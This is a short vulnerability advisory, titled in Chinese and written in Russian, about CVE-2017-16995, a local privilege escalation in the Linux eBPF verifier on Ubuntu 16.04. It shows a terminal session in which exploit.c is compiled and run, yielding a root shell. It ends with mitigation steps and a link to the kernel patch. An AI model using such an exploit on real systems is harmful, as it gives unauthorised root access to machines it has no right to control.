
CVE-2017-16995(Ubuntu本地提权漏洞)
Ubuntu — это операционная система GNU/Linux с открытым исходным кодом, ориентированная на настольные приложения, основанная на Debian GNU/Linux. Недавно белыми хакерами была обнаружена локальная уязвимость повышения привилегий в последней версии Ubuntu (Ubuntu 16.04), идентификатор уязвимости — CVE-2017-16995. Уязвимость существует в ядре Linux, вызывающем eBPF bpf(2), когда пользователь предоставляет вредоносную программу BPF, что приводит к ошибке вычисления в модуле проверки eBPF, вызывающей произвольное чтение/запись памяти. Пользователь с низкими привилегиями может использовать эту уязвимость для получения прав администратора. Данная уязвимость была исправлена в старых версиях, однако она по-прежнему может быть использована в последней версии. Официального патча пока не выпущено, уязвимость находится в состоянии 0-day.
Ядро Linux версии 4.14–4.4 Затрагивает только дистрибутивы Ubuntu/Debian
Высокий
bearcat@ubuntu:/opt$ lsb_release -a
<br>No LSB modules are available.
<br>Distributor ID: Ubuntu
<br>Description: Ubuntu 16.04.4 LTS
<br>Release: 16.04
<br>Codename: xenial
<br>bearcat@ubuntu:/opt$ uname -a
<br>Linux ubuntu 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
<br>bearcat@ubuntu:/opt$ id
<br>uid=1000(bearcat) gid=1000(bearcat) <br>groups=1000(bearcat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
<br>bearcat@ubuntu:/opt$ ls
<br>exploit.c
<br>bearcat@ubuntu:/opt$ gcc exploit.c -o exploit
<br>bearcat@ubuntu:/opt$ ./exploit
<br>task_struct = ffff88003a0db800
<br>uidptr = ffff8800374b76c4
<br>spawning root shell
<br>root@ubuntu:/opt# id
<br>uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(bearcat)
<br>root@ubuntu:/opt#
В настоящее время чёткого плана обновления патча не предложено, однако рекомендуется ограничить доступ обычных пользователей к системному вызову bpf(2) путём изменения параметров ядра для смягчения последствий:
Установите параметр "kernel.unprivileged_bpf_disabled = 1", чтобы предотвратить повышение привилегий, ограничив доступ к вызову bpf(2).
root@Ubuntu# echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled
Обновите версию ядра Linux, требуется перезагрузка сервера для вступления в силу:
Этот шаг уже был описан в процессе настройки среды, пользователю достаточно изменить версию ядра!
Патч кода https://github.com/torvalds/linux/commit/95a762e2c8c942780948091f8f2a4f32fce1ac6f